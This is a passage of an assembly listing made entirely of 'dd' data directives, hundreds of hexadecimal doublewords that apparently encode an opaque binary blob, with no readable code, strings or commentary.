		dd 2F27159Fh, 0A0CA7473h, 5D42AA08h, 0BB06871Eh, 11B52C45h
		dd 55C20A44h, 139F17BEh, 40038CADh, 32F8E64Eh, 0C0E984A5h
		dd 9B0F3D86h, 0BCE96616h, 6B9F0B0h, 4C6433A0h, 70385256h
		dd 61015BE4h, 78091939h, 12A3CED8h, 427F550h, 192DDB0h
		dd 0D12079B2h, 8F680DE5h, 84B4A85Ah, 931CB44Ah,	0AA8B0Ch
		dd 6856E1D1h, 2DF82B9Ch, 0A05C5E15h, 0AC385F2Dh, 104BE3E9h
		dd 0E60904E3h, 25D8BC6Ah, 1231DA0Eh, 5802A42Ah,	5DEA2492h
		dd 87E82AC4h, 2314C9F1h, 0BA9E17A7h, 0D1234A23h, 0FE8F2CA4h
		dd 49275701h, 0C3E9C109h, 3CDDC2A1h, 0BA2D17C9h, 55B00C57h
		dd 1002C8CEh, 21E91637h, 8884D477h, 0FD280640h,	0D68478F1h
		dd 0E030A1CDh, 0F534138Ch, 2E040812h, 74E47752h, 5E68AA49h
		dd 0BFA505F9h, 8410CEA2h, 0A7C14AB3h, 287AA368h, 4A10209Ah
		dd 0BF041816h, 0C0159533h, 7EE9A34Eh, 40E1FD4Ah, 44D4D32Ch
		dd 1254570Bh, 0E9048A7Ch, 0E8173955h, 4759073Dh, 0C50723Eh
		dd 870652Eh, 0FC34E95Bh, 0D10B7624h, 0FA4B0AFh,	649E0046h
		dd 0F4547335h, 4B2FE961h, 3D869878h, 6A60172Dh,	10A5BC59h
		dd 0D009206h, 3FE42F75h, 2D00E8D1h, 0F5D624FAh,	97CC7BE9h
		dd 3543B0D4h, 0AD32256Ah, 966705C0h, 4A74182h, 0E99E127Ah
		dd 142DC4C1h, 0D0F8F10h, 0CADECB4Bh, 53D28E66h,	50580725h
		dd 392C997Ah, 5E273949h, 6817C01Eh, 79611C60h, 34ACB2A9h
		dd 0C4ED1EB4h, 0C04A2E25h, 19DFE5C1h, 0BAA7554Ah, 6EC66473h
		dd 0BD0AD068h, 852D0592h, 22A4F37Ch, 588202B7h,	0C6013243h
		dd 0CA770057h, 3559442h, 0BD35F181h, 0FAFCAA6Bh, 886EA2E5h
		dd 0E25A1B9Ah, 668593FCh, 7D4CAF3Fh, 16344A07h,	5632444Bh
		dd 6FA71453h, 53361004h, 0E7FBC11Dh, 4337E82h, 658F948Bh
		dd 9BB5D04Bh, 4F4C0BDCh, 62122CAEh, 9DAF9C2h, 0B12F2BDCh
		dd 0C46EAA4Bh, 6B8BAF70h, 126E1CC6h, 1FB16815h,	4AAB14FFh
		dd 505BC5F4h, 0ECBCF7C3h, 0C5A9CCBFh, 89753492h, 0FC67A4DCh
		dd 7BC65146h, 0B9F2F9BCh, 76C60EA0h, 4F27E123h,	8964D829h
		dd 0A420DE08h, 0E7435E90h, 13AA4E4Dh, 0B6D9BE01h, 0CB881DE1h
		dd 5212C639h, 3EC04EB2h, 5F7A804Fh, 2EDE8BDh, 0CC3BFEA2h
		dd 0D56747DEh, 82855A4Eh, 0EFBCE3D4h, 43D453A2h, 8094F858h
		dd 2530FBBEh, 5EC78627h, 689C2739h, 8BA085Fh, 0DAE93C3Eh
		dd 0F15EDA1Fh, 0C4565A49h, 0E0E097B0h, 119FB116h, 0FD3F291Eh
		dd 9CA9195Ah, 95DDC72Fh, 0F5C0F875h, 71ED0280h,	692C5A66h
		dd 0A43DE3DFh, 28047EE3h, 0C65366D8h, 0BE057558h, 368A6444h
		dd 0B04012BBh, 44FD7C1h, 419A55CCh, 51AA42C8h, 5557EE1h
		dd 686A88FEh, 0D174C527h, 12A9BC40h, 0ECF20C91h, 0C1AB58A6h
		dd 0E023B798h, 3D05F40Eh, 2D24E017h, 7ADD32B4h,	4D261613h
		dd 78CA046Bh, 0D154A457h, 52887039h, 29A74069h,	6CA2555Fh
		dd 0A3A6F98Fh, 0EB0E1B6Dh, 9680B410h, 0AABE9409h, 0B108D9D6h
		dd 8A052DE0h, 5045B9D2h, 691F224Fh, 27534D3Eh, 6FBF9581h
		dd 0FB150C97h, 14109901h, 55DC3408h, 6C5109BDh,	48E80F41h
		dd 0F8C2E015h, 690E2C5Bh, 0C347B852h, 0B151808Eh, 5B45E97Eh
		dd 50B8C8F2h, 310061FAh, 6E056781h, 0C1278E30h,	0F22D405Eh
		dd 0B4D03E78h, 0EFFE70F4h, 1CABA22Fh, 2D38358h,	0FA0861FBh
		dd 0E6EA05EAh, 20BE97B6h, 7ACFEE9Ch, 4A1AE125h,	0E90802EFh
		dd 2718F8D2h, 89731CF7h, 0E7D14F05h, 0FE767E82h, 0EAEFD13Ah
		dd 5F8144CAh, 7B148B58h, 798D6E2h, 7FB8505Fh, 1E669240h
		dd 3061E581h, 0D36CED0Ah, 7F0FC280h, 0EA293751h, 0BE203810h
		dd 8783554Ah, 2DE1D849h, 30B42D2Ch, 0A3DD2875h,	4594C580h
		dd 45293B9Eh, 6BF481EEh, 586AB323h, 0F5C1AC7Eh,	3FD588FFh
		dd 0D0F9AF41h, 0CEF06EE9h, 8CC14E30h, 0CB1788D8h, 9456D3E9h
		dd 1AFA3CBAh, 0D0ACAF4Ah, 0BFDE3DF2h, 0D8C38001h, 0A871D988h
		dd 0C2490B7Ch, 136DD1B4h, 0E2413B7Ah, 4130779Bh, 0EE20F2F9h
		dd 415CB5E7h, 0A96F6BCFh, 0C85D9C68h, 5E04BFC6h, 9581D1F7h
		dd 17ED6198h, 2FA6C4DAh, 9BD35B22h, 2098A4C9h, 0C6C0104h
		dd 77C44E5Dh, 0EC6E5C7Bh, 2DF79A75h, 8D465C07h,	0A263A23Fh
		dd 0FA085044h, 6BC2B7F1h, 0A272F975h, 0D9215261h, 7FAE6610h
		dd 71BBEA5Eh, 3E4DE938h, 7BBA3100h, 0F4645906h,	658F4912h
		dd 58C28800h, 66B4F280h, 0B8B0500Fh, 0EEE94420h, 0C00A31BCh
		dd 9D505EBh, 64D95334h,	0F77E781h, 13603293h, 4A7FFE50h
		dd 2C53AFF1h, 60F437B4h, 0CAC33310h, 0A7E12568h, 0B50960h
		dd 39645113h, 620C982Eh, 0ACE90D4Eh, 5C13295Eh,	52EE28AEh
		dd 501EB22Fh, 0FF49723h, 76B5C59h, 722CB20Ah, 9CD54C21h
		dd 2E577F9Bh, 82C8664Bh, 36111C2Ah, 77BA87E0h, 583C6D00h
		dd 0F63B9005h, 0D8F73943h, 6AE9D004h, 0D221D284h, 5B14BE80h
		dd 41BD5C96h, 40EA1156h, 0C0C7C6FBh, 84FDED79h,	0BF6DF1Ah
		dd 5F133E9Ch, 20527914h, 3D6817B3h, 97A7E256h, 8AAAD1ABh
		dd 0DD09C238h, 74B304E5h, 3C25CE23h, 8C1856E5h,	0F4881D7Ah
		dd 5875E3E4h, 6C29D95Eh, 805E6326h, 47E92FD1h, 0FC972D70h
		dd 0A0F76BCFh, 0EB792858h, 0AFE3A007h, 6D1C0534h, 0D87ABBE9h
		dd 9EA081DBh, 374A625Dh, 8B41551Ah, 7FC5102h, 5B4B2943h
		dd 44C69100h, 81ED6AF4h, 0BDB1A22Ah, 0F7F7EE9h,	0D93D2C36h
		dd 3A2D3F3Bh, 75D694B5h, 56FA9E6Bh, 20773CEAh, 7850EFE9h
		dd 4A757E71h, 5C5C2B6h,	4C4DA9F5h, 5D48BDB6h, 0CC6EB3E9h
		dd 7BFEC3FDh, 0D1762848h, 610882BAh, 68025A4Ch,	0D91A828Bh
		dd 725A5279h, 14F44E0Ch, 0EE12C719h, 4C87BF39h,	84D8DF5Fh
		dd 0FC6CC741h, 30037B3Dh, 0EB170F90h, 9D2501BAh, 0C2CCFE48h
		dd 145DDC8Eh, 502AF90Eh, 0F85AA969h, 157DF9Bh, 43E8E852h
		dd 8CCFEA1Eh, 0B614A228h, 0E607C071h, 0B1B55108h, 0DD5DCED2h
		dd 49AB5A32h, 4D440FF6h, 4DC17D84h, 536041A0h, 243D0295h
		dd 0B189E971h, 6435ECDDh, 80567FE6h, 64752008h,	5BBE4707h
		dd 3130902Fh, 96CBE9FEh, 7F2BCF4Dh, 40540CABh, 0D038253Ch
		dd 0D854B44Bh, 2D5E95E9h, 0F2F779ACh, 0A15AF4BDh, 0A0458CDh
		dd 0FC38A2F1h, 97F10C1Eh, 0D0F7C4B0h, 7B2CDD0Ch, 5095F0E4h
		dd 0D6E9165Eh, 0ED6529B6h, 3771C6F6h, 4486FF49h, 2FE97948h
		dd 3F1E4h, 0B951E8D1h, 232D05DCh, 97012DB0h, 0E9342C16h
		dd 0F27FF662h, 9D02943Fh, 312E48D0h, 3E212854h,	0F0DA09C0h
		dd 0C11749D3h, 8EB1A86Dh, 0A6030C38h, 2D134353h, 23417798h
		dd 0DBD5E918h, 24B3BB62h, 167B2171h, 0F20CC40Dh, 1253C086h
		dd 2621670Ch, 5BDEh, 87ADC317h,	5E5EF729h, 0F0C4CAFCh
		dd 0FC9DFFCEh, 81758AECh, 8B0EC80h, 268DE649h, 8412FEC4h
		dd 4D44F09h, 30B2DA1Ah,	359A5B3Ch, 895712D9h, 0F2275F4h
		dd 1CD787A0h, 375627A4h, 3316468h, 46997BEh, 5B09AA16h
		dd 0FE494E75h, 49AE4DA4h, 0F5DEAC2Dh, 55F4920Bh, 0BE345098h
		dd 7552C1B6h, 3A5F6416h, 0C8315807h, 17B8A975h,	2268BD00h
		dd 0E5C17F82h, 45A087Dh, 0A06EFFB5h, 6C001B4h, 5BDA204Bh
		dd 6EA2CC0h, 0CAD817E9h
		dd 0D5DD5063h, 2F64D89Fh, 1FFE2FEDh, 68859792h,	75728FABh
		dd 0EC61FC27h, 14D727E3h, 3FE78898h, 82AD23CBh,	0A241C915h
		dd 87CCB410h, 0E10497E6h, 260E5FEh, 0E25C8ABBh,	0B76B5588h
		dd 98247F76h, 0E899BB34h, 0EB830C3Ah, 0C2F82BF6h, 0F028494h
		dd 0FDEECD84h, 73077DBh, 0BC4CDCE9h, 2734B56h, 26F94708h
		dd 65410364h, 69D91C0Ah, 0C5000516h, 2D281905h,	0EE89486Ah
		dd 0EAD67A48h, 548C542Ch, 0C0537E60h, 3210EB58h, 5D09356Ah
		dd 0F669D123h, 4E843EC3h, 80FC1CCCh, 0A9D9E9C0h, 0EDC0C2C2h
		dd 20737003h, 0E081814Ah, 3EA4076Dh, 9B880F0h, 1B3B0948h
		dd 16B0C984h, 1A61FBAh,	0CF0AA135h, 0BAB27A2Bh,	0D9C7E918h
		dd 0FB53C29h, 5B6721EEh, 0C807C2Eh, 0DCD14370h,	7AFFFE29h
		dd 9BFBEB04h, 3386C1Fh,	0AC2E7027h, 2724CEF5h, 52AB9958h
		dd 0F215B369h, 650790BDh, 0A245265Bh, 195F2FD4h, 0FD2E5C87h
		dd 0F6F82F9Ah, 99DD2FCFh, 17A5ED17h, 0D3AB3EFDh, 0D770AA81h
		dd 0BFE478E9h, 50883AD1h, 208528DBh, 0A4A1151Dh, 1C4A3608h
		dd 0D49DE788h, 0E8E9FA02h, 8200515Fh, 57B13A39h, 45AE07F7h
		dd 52D7CDA0h, 0E9670B76h, 64D63B5Bh, 2EC78AC6h,	8DBC331h
		dd 0D88D3052h, 3243165Bh, 5F59B2DDh, 8D20AE6Ch,	0EE52FABEh
		dd 63F35AADh, 0B43991h,	587A19BFh, 0EFC1262Eh, 65C4081Dh
		dd 2D507325h, 40B6A65Fh, 68580995h, 0EF30454Eh,	53B7FEC9h
		dd 0FD5C96D0h, 0A7D6CCC7h, 252DB65Dh, 592F43F3h, 0D6807B7h
		dd 67FD0B3Eh, 6FE90917h, 0AC179C58h, 0C4983F2Ch, 9A41FFB4h
		dd 5B01809Ch, 0AA84F62Ch, 30309146h, 0FC2F4D4Ah, 8282A870h
		dd 7D48B4A8h, 0C531281Eh, 69A347AEh, 9AA3303Eh,	1349D16Dh
		dd 9BBB860Bh, 0BFDDF017h, 0ED59DD76h, 153B12D8h, 0DF0FE96Bh
		dd 90B6520Bh, 0B248F187h, 96DD8C6Dh, 0D748A1C4h, 0C9565553h
		dd 5632841Eh, 2F10F002h, 0E8552951h, 267D2401h,	1BD06B95h
		dd 0CFD3457Eh, 0FEBBFB02h, 0DD46ED45h, 44EA9CDAh, 760AA76Fh
		dd 6BDED500h, 0B5013AA1h, 268A3F5Ch, 83A7E109h,	870AA208h
		dd 41714509h, 622998E9h, 0C10CDA2Eh, 0EC6AFC77h, 0A6F8F147h
		dd 85A4A27Eh, 5AA8CCF2h, 0FD9848C5h, 4A49807Eh,	99317A1Fh
		dd 17E904D2h, 0AA1BD5C4h, 44E374Eh, 80AE3018h, 1B7903BCh
		dd 2D3012Dh, 0E0411751h, 619C5D0h, 0F775906Ch, 0B9594DDh
		dd 8E14755Ch, 43467AC1h, 0A86A25E2h, 9EE01979h,	0FC2E6422h
		dd 5E680CBDh, 5DCDCB08h, 935955D1h, 4EF6CE02h, 0C4814B03h
		dd 0CB147AB0h, 19F1E6E0h, 18647835h, 40173205h,	0FDE3DC0Bh
		dd 5D2F6214h, 5C5B184Bh, 3C91177Dh, 0EEF5F021h,	7C5FF102h
		dd 5F7F6832h, 0B4805BE6h, 0F90438AEh, 0B58EE949h, 0C0C4580Eh
		dd 0FEE2E498h, 0BD64C1Eh, 64C26CD7h, 0A7127EBBh, 4440E2E6h
		dd 0EBD831E9h, 67C129A6h, 0B1415A0Dh, 0AE7EC8BDh, 4BF57F4h
		dd 13A1173Ah, 5B5E097h,	2751C140h, 61F0B4B1h, 500D4DB0h
		dd 5628A4B0h, 0EFB1882Fh, 59CB3002h, 0F1479168h, 0C2B08247h
		dd 2B7871E9h, 0FEC8BE04h, 748296C5h, 4970FF5Eh,	0F681439Eh
		dd 53F47972h, 0C0A6B06Eh, 112037EAh, 7F08A09h, 0EBF0A0A6h
		dd 90F229E5h, 0C54E4F34h, 5B33B943h, 2D80DDF3h,	155C1222h
		dd 2321E917h, 9EE64C34h, 301FC25h, 0CCCAEA80h, 7D98D2C2h
		dd 207EF72Dh, 0F56D4983h, 0CA09867h, 7DE671F8h,	10FA0B0Ch
		dd 3B6C5740h, 2192CB46h, 8F56A9F1h, 0B962990Fh,	4B1407C4h
		dd 32F942h, 333539EDh, 69AEE965h, 398426B8h, 38A2BA67h
		dd 592EB05Dh, 16049E8h,	0D81F04Dh, 1A3DC0h, 46C82D23h
		dd 3A35064Ch, 2992F812h, 681F13E8h, 759AEF89h, 33313857h
		dd 0A4F582BCh, 0A6BF5D0Fh, 34E9C23Dh, 5D444F2h,	69BB50BCh
		dd 392CFB21h, 0DC56B74Fh, 7051Ah, 41AE94F8h, 2BC2B782h
		dd 55AD3D5h, 0BB88CCE9h, 2A608B89h, 0F93EE17Fh,	75BAE446h
		dd 8B84FA9Ch, 4B7DEEFDh, 0C5F6A913h, 97B058E9h,	0F260BF5Dh
		dd 0E32D0C3Eh, 2D8F96FBh, 5A69CF45h, 7B4C70FAh,	5D264112h
		dd 0AF0D2921h, 0B880502Ch, 489745C2h, 507B690h,	41316ED7h
		dd 8FA53580h, 0E99B1DE6h, 961CAE10h, 7ACD08FDh,	0B38F025h
		dd 38AC54D0h, 99FDED0h,	600380BAh, 0B7E5015Fh, 4D944560h
		dd 0E326A9DBh, 4187FDFBh, 518721C9h, 35F0C518h,	87811817h
		dd 79EAEAD5h, 48700E3Eh, 0E75B10DDh, 0BE048848h, 2205F40h
		dd 42524AABh, 78C75526h, 0A40959A6h, 0C5B25FD8h, 38933640h
		dd 0DC4FBA2Fh, 0A1E2A567h, 0E95B0B01h, 0FB84D7CFh, 2D683F8Ch
		dd 3590546Ch, 2097A3A5h, 50DCC704h, 736F7CB5h, 8BCAB4C3h
		dd 3DCC97A5h, 0C4FA922Ah, 0D145B7A0h, 0B34E54Dh, 7255F91Eh
		dd 0AC8835D5h, 49628129h, 96BA00C8h, 15232F34h,	0B19502DDh
		dd 5310D71Ah, 56982466h, 4E0C102h, 0CC13E368h, 13657A0Ah
		dd 0E209672Bh, 0B8A612B2h, 697AC9BAh, 51D6CF2Ch, 0F05DA50h
		dd 7F702BD9h, 0AF8D52A5h, 1A84EC27h, 0C7408DF9h, 18751361h
		dd 0F12A0A0Bh, 125B1307h, 0E02CBEB9h, 92194109h, 0EE33272h
		dd 0B2E4558Fh, 0FE01047Dh, 88EAC5C4h, 904D4A28h, 2B97891Fh
		dd 52AC541Dh, 65670C86h, 34AF544Eh, 0C87C0DBh, 3B12BF4Fh
		dd 0F857FDE9h, 503D8BBAh, 0B77EE9E1h, 0FA4C7DBAh, 64086A2Ah
		dd 3C0CF801h, 0D6403193h, 484BE953h, 0CCCFA28Eh, 0EF20594Bh
		dd 2A5A6267h, 9A0107B8h, 833D4F2Bh, 0BA6D01EEh,	10B0EF05h
		dd 799BE831h, 0E18B1B0h, 300C4DC9h, 3C7D3D68h, 0BE7E13AFh
		dd 0B070BE80h, 0EEB817Ch, 60F66949h, 1897F3C0h,	9186DACh
		dd 5A8A5BDDh, 4A3B095Dh, 0D04075E9h, 2EE54468h,	0AC9DE731h
		dd 2CD02800h, 0A85E8072h, 2F2AC276h, 895660B3h,	0E9D585B9h
		dd 6BF8CDE1h, 0ADEA6CCh, 20AE295Bh, 0A487E92Dh,	0F7488CBAh
		dd 0A993B4E9h, 0F5F9A2E9h, 0F6491D64h, 0A1DE171Ah, 85DA374Bh
		dd 2B04D743h, 6688794Bh, 0BBCA4020h, 0E007700Bh, 415D9A2Ch
		dd 727D1592h, 93577E04h, 0B56AC068h, 0BC4ACE2Fh, 3E4E2DFEh
		dd 46801194h, 4DE97C39h, 546E700Bh, 42DC57EBh, 47ABE153h
		dd 8506E33Bh, 75AD3487h, 0FB5451C5h, 0E3FB9064h, 0DA099331h
		dd 185FF7Bh, 5308EBD9h,	0CBD240Bh, 58F963Eh, 420A711Eh
		dd 5DEAC689h, 0AD265CEDh, 0DDEC9345h, 4C2FCA4Fh, 1F7B01B6h
		dd 0FAE95612h, 68177E6Ch, 0AEE3C8h, 32757BFh, 2C4B954h
		dd 0E994872Ah, 69E42BB4h, 0DC679109h, 5CEB0018h, 907F312Eh
		dd 539E88Eh, 0EFE999ABh, 398BEEFEh, 0DB201422h,	52FE9DA0h
		dd 0D3F654Fh, 4E008F57h, 77FC5241h, 347EF101h, 0D50C1438h
		dd 686BEB31h, 60133EE2h, 787E6DEBh, 1F579ED5h, 520405DAh
		dd 0EA7B2A68h, 7AE92830h, 0D9CE9D80h, 0ECEE7C9Dh, 5FD25F2Ah
		dd 6B655080h, 629AF60Eh, 0EA31ACB5h, 5ED91E0h, 49090424h
		dd 4126225h, 0F5EB5A08h, 82A566C0h, 74B96EE9h, 78D654CEh
		dd 95E06CE4h, 0C25060F6h, 403C314Bh, 80C6F594h,	62C3050Fh
		dd 0BC015676h, 205B0070h, 0CDE907B6h, 0D9A8B04Fh, 2BDCBC9Ch
		dd 4D5C0B7Ch, 4075EDB1h, 1315EA0Dh, 0BB239A18h,	0D312CD1Eh
		dd 87B97240h, 5E49F60Eh, 2800AF31h, 3F5D5C4Ch, 0B52F201h
		dd 620D6857h, 0E18C02D7h, 0CE29F5B8h, 49CB1006h, 8397D1FAh
		dd 0EA5854BEh, 4B2D78B8h, 1832FB5Dh, 0AC0CF821h, 40CB98D5h
		dd 419F882Dh, 0C46472A6h, 0FEDA1886h, 0C28008CBh, 0BF20ACB8h
		dd 0F5ACC044h, 1F8A29A0h
		dd 5157D4A2h, 0CD0E280h, 400EB248h, 4314802Ch, 0B2E64514h
		dd 0B7807005h, 23435168h, 14117824h, 580107A0h,	7685155h
		dd 0AD309139h, 53BB4075h, 0B1C7990h, 13BE3B4Fh,	45BDAC63h
		dd 4527051Ch, 0C82D0D3Eh, 4DBD590Bh, 68BF3000h,	9FC53170h
		dd 944E2CB7h, 3FC74FC8h, 51BC165h, 3DB845E4h, 5EA55106h
		dd 0BEBF2EF8h, 7B0C309Fh, 1F27C11Dh, 0BDF22050h, 0E317941h
		dd 0AB54B9DCh, 0EB5A12F2h, 0B1C73102h, 2DF13E6Ah, 1CE2FFEEh
		dd 481A10DFh, 0F0104BAAh, 210D793Ch, 81BF5720h,	3FA2CC88h
		dd 40FD5D13h, 18F88A89h, 0BA474Bh, 2FEACF0Eh, 52B56205h
		dd 0B18E04A4h, 2293918h, 0D55FFA31h, 0B3E99398h, 42D4125Eh
		dd 0EB3DD2A8h, 4FE31090h, 59BCE0E8h, 0CBDF3BDh,	46EEE5B7h
		dd 1269DBAh, 93A18FDh, 0B29282Eh, 0FC04DF12h, 4A8A8176h
		dd 0B7908FEFh, 0AA684990h, 0B2205C3Ch, 3585D3Bh, 84E69CDh
		dd 0CC180E4Ch, 0E9449038h, 9D5BF232h, 0F4EC4EBEh, 65DBC2B4h
		dd 5DE24E5Ch, 58A74052h, 1C3CB167h, 0BCC3EDC2h,	6B6ED2E7h
		dd 54BD16E6h, 0D5E9700Bh, 0CEA7B34Fh, 21FC2925h, 0E7B116Bh
		dd 0BE93136Eh, 0E0EEF535h, 334E9A80h, 0F9132CA3h, 9DDCAAB6h
		dd 8C7A8419h, 0ED2F5B81h, 0B591D330h, 132FC2FEh, 0DE8F09C9h
		dd 67FF1CABh, 0C81C8B7Eh, 4FEDCB27h, 0B70C604h,	4716575Bh
		dd 0D59D233h, 0C30A28EBh, 32154EE2h, 0D07CF026h, 48616525h
		dd 57A093A6h, 0F173BC94h, 7C8C8F66h, 92AAC6B5h,	0A0D0F728h
		dd 441D8D2Fh, 0FB9181EFh, 22944CEh, 809B53D5h, 0FD84EE01h
		dd 3F90FABAh, 0E10969E9h, 0B3D6AC6Eh, 51450ED9h, 497EF989h
		dd 0FBFECAFAh, 0F4B6A7BBh, 6E678271h, 7075F73Bh, 668D277Dh
		dd 57C2B3D9h, 835004A9h, 25D12604h, 0BB948058h,	0E9316D09h
		dd 2D4C94FDh, 512C5A19h, 2E3C68EBh, 4989FA1Eh, 0D54457F4h
		dd 0D22D36EEh, 0A31EFD3Dh, 5848E4Fh, 2D1100EAh,	63C09E6Bh
		dd 29A5FAB7h, 0D9AF80h,	6B5923ECh, 81BFFB29h, 0A037B432h
		dd 7454D541h, 0D9FD5702h, 17CEBE64h, 0D60BB72Fh, 0FFC94109h
		dd 49DED7C4h, 0C8BE08D6h, 5195569Ah, 0FE899624h, 49B3CBC0h
		dd 0C086E2Eh, 15D62462h, 0D6D1DADFh, 3D870811h,	534A5C2Dh
		dd 7B0CE185h, 53C0F6E8h, 0F7803BB7h, 0EFC0EB13h, 0B91D88AEh
		dd 7019280Ah, 5906EA68h, 829CF029h, 9151D70Bh, 0ABB9E6B0h
		dd 0E1B14E37h, 0B85EE44Bh, 0D181485Bh, 5A02755Bh, 0C8A0DF70h
		dd 475C0F72h, 72EA3C44h, 0A26008A2h, 0E2BC6387h, 0A5D11749h
		dd 0F4C9C6F6h, 40E1657Fh, 237425D3h, 5F983818h,	0CB7A8C18h
		dd 28F5C34Ch, 4B805893h, 5A868056h, 21A0FE29h, 0FBB7B21Bh
		dd 2C1A4A2h, 65997929h,	544190E3h, 721C8308h, 0F34ACF37h
		dd 0D02A27D9h, 27BC9157h, 7E5C10CCh, 47DEB587h,	3920DD1Ch
		dd 0E64A8368h, 0BBF3C63Fh, 0D9DEB721h, 80DABA2Fh, 0C4119C90h
		dd 56C8A160h, 778B97D3h, 0B5BA468h, 0F66C843Ch,	68082ED0h
		dd 2834170Ch, 0CABA2313h, 1532438h, 0FB3767E1h,	0FA4007Fh
		dd 0F7566B7Bh, 0D105D964h, 0AFECB3C4h, 4EF3800Ch, 0D8E03C06h
		dd 0CAFE5B71h, 5C766BBAh, 503D65Fh, 0BFF79658h,	6F3B0439h
		dd 0FA008CB3h, 81694140h, 531765F7h, 88EB1B0Dh,	6A9FF1E0h
		dd 5525A022h, 9F572668h, 0D3AF6A51h, 7F090815h,	4A1E7F3Dh
		dd 738C23FDh, 3CC35162h, 0EC5F4BC6h, 60EA4E6Bh,	0B39BE930h
		dd 0ACAA519Fh, 0B3AE1910h, 0F3EFDCC2h, 2F29F1B7h, 557C9878h
		dd 48569625h, 3D455E51h, 5A9C7A2Fh, 4E5D2565h, 225C9F27h
		dd 6ECC57A5h, 88E917A8h, 0EE25E796h, 8CA34BD2h,	0FD2768E9h
		dd 89F55949h, 0C3F60203h, 12DEE46Ch, 0EA14B92Ah, 4142FB38h
		dd 3AF52FE6h, 0D7728E7Fh, 49E2CBBFh, 33849681h,	4EE138E8h
		dd 2F163D56h, 2E7256BEh, 6568D0A1h, 54766454h, 0D1C4D1D8h
		dd 0C1A7C14Fh, 71BD667Dh, 0DBE9DB8Bh, 88666C59h, 22B08CCh
		dd 0A9E4A62h, 0D8AA02FFh, 23614FCDh, 46AC05F7h,	47E5EF12h
		dd 33B2C67Ah, 0EEB09FF6h, 82E7D0DAh, 0F3288910h, 69C3D55Ah
		dd 0E98BF1F0h, 993AAB30h, 2D326EEDh, 23F8671Dh,	77CC3FE9h
		dd 69C80F2Dh, 92C43A15h, 3ACCEB18h, 61EE2E68h, 92EAC253h
		dd 0B7808DE6h, 903F19F6h, 9D351376h, 0DD5CCCAAh, 0C755BCF6h
		dd 3DE63C83h, 47ED1702h, 0D92072F5h, 0F3B160CBh, 0EC681EEh
		dd 4E38051Fh, 0F7697BC9h, 15B17B0h, 5CBFDA73h, 6ED56905h
		dd 49E97399h, 854C046Eh, 3445680Bh, 1880EF9h, 0F9722D9Ch
		dd 1947E204h, 20C23364h, 9FC3D160h, 9170F8BEh, 11933C3Dh
		dd 8571B3CDh, 29F898E4h, 0DB556EDAh, 6C536292h,	9CC2F774h
		dd 2FF8C56Bh, 3FEA9476h, 76D53809h, 3AF5EB82h, 0FFFFB28Ch
		dd 96A70967h, 97F0263Dh, 0AE0F6F38h, 1828CC56h,	0CD874F32h
		dd 0EEC02E01h, 2F0C44B9h, 880CCEF8h, 18037140h,	0D3D612CDh
		dd 33E801C0h, 7F505E21h, 80452F5h, 0AB1481ADh, 8DB19495h
		dd 0AC0F0509h, 442106F0h, 5EC70627h, 0C0C9138h,	4D3FFC0Bh
		dd 4E6DC27h, 816355B8h,	7B5A9E70h, 0C85F5231h, 0CF1D1E39h
		dd 41B40B90h, 5EF30800h, 92E517Eh, 2182E8FEh, 57662B69h
		dd 78ED3A00h, 0E6C08C0Ch, 0B93DA4CDh, 9240B725h, 0AB4B64E9h
		dd 3C1030CEh, 0EC292C39h, 6829C318h, 62235BAAh,	0A25DD1FBh
		dd 0D02CB31Ah, 437BBDB2h, 9E15A13h, 0A684314Bh,	0C0EE166Eh
		dd 4E757489h, 295E7F0Bh, 2C4F7h, 97527BB8h, 1109356Dh
		dd 5572B2Dh, 98EA5D84h,	7B667528h, 9889BB5Dh, 98B10E99h
		dd 0EBC087DDh, 3A4E3BACh, 0A1CB0128h, 0B32C0813h, 69FC000Bh
		dd 0B42AEBF9h, 0D34829A0h, 70F14D85h, 88075AEEh, 0FC305BDCh
		dd 56C5D7D2h, 7325BB8Ah, 681F7894h, 20D62E99h, 808101E8h
		dd 2A1BE740h, 81FA65BEh, 965C6794h, 0CCA12DC3h,	7E5DA941h
		dd 2993AE05h, 61F382A9h, 0B400A68Eh, 85985327h,	0D30500FDh
		dd 5A5B3D16h, 0F3755E12h, 20BE10C6h, 1440F24Eh,	724E18D7h
		dd 8EBF5024h, 26C1C300h, 60D16799h, 2E4710E3h, 0E9271366h
		dd 0BF9C85C7h, 0F91F31E2h, 40EE525Fh, 2AC8B8D0h, 589D3199h
		dd 12BE2FEh, 2D64AB35h,	0E214F722h, 63D524C1h, 145D2773h
		dd 0D4152086h, 40A8574Bh, 9649FC1Eh, 3B8B967h, 24076BC6h
		dd 34E6B06Eh, 55D5245Ah, 0DCD300EDh, 71E9ACA7h,	1788C24Eh
		dd 0BE36F258h, 54BA01BEh, 0E8E57DD6h, 0D5C7EC74h, 9F37B9h
		dd 340DE781h, 0E12A4819h, 95DDEA76h, 70005D78h,	0F7755661h
		dd 10548D8h, 71A87315h,	72E6F5E9h, 4CD91F11h, 0D262326h
		dd 0D8296641h, 4A6C05CCh, 3304EF04h, 30B8F4BAh,	0ED1F1CD4h
		dd 0F25F9645h, 2252CC6Eh, 0A01C7993h, 0C00870F2h, 5645E675h
		dd 0D0BF5C78h, 1EF49524h, 2CBAB35Ch, 6D62809Dh,	0E95E1566h
		dd 0B397B826h, 270B52CBh, 0B1ECF001h, 5F0E3120h, 0F1B1A04Fh
		dd 0F056024h, 0C0B30A8h, 0D625185Ch, 69E90B96h,	8259D8A4h
		dd 0A8890314h, 0C6DC2EDFh, 133640D0h, 47FF2h, 7BEFC3A4h
		dd 12FF44Fh, 5951DCD8h,	1BF141C5h, 0EF247BB6h, 32C01FB1h
		dd 0B83AE530h, 3CFB0B36h, 0F5F80234h, 6F34F48Ch, 0C8037A24h
		dd 731761E3h, 28F01D6Bh, 4A1743CCh, 52009EEDh, 14CE6853h
		dd 5B0262BFh, 2D44F381h, 4BA5408h, 906629CBh, 0C6B58ACh
		dd 0D2185260h, 5CF0B076h, 31022089h, 0B760E9D5h, 0F9DD72CAh
		dd 91D84B23h, 685016BEh, 0F3404E5Bh, 753912E0h,	4319868Ch
		dd 0CC2B7865h, 0A002EB5Ah
		dd 0D43D2339h, 51861037h, 3865C817h, 7A8B0B51h,	2FE4B010h
		dd 18A7168h, 935D9DEBh,	0CAAA303Ch, 65741616h, 9504900h
		dd 27E9230Ah, 29FDEEE0h, 7B4710FCh, 5916CBDDh, 0CAA1195Fh
		dd 0B95BD37Ch, 7CBE4F39h, 0DE31E99Bh, 49F11DE2h, 0F604FAE4h
		dd 0B8A6A8FEh, 26E1291h, 0FD97EE4Ch, 0E5DC16F2h, 23993D55h
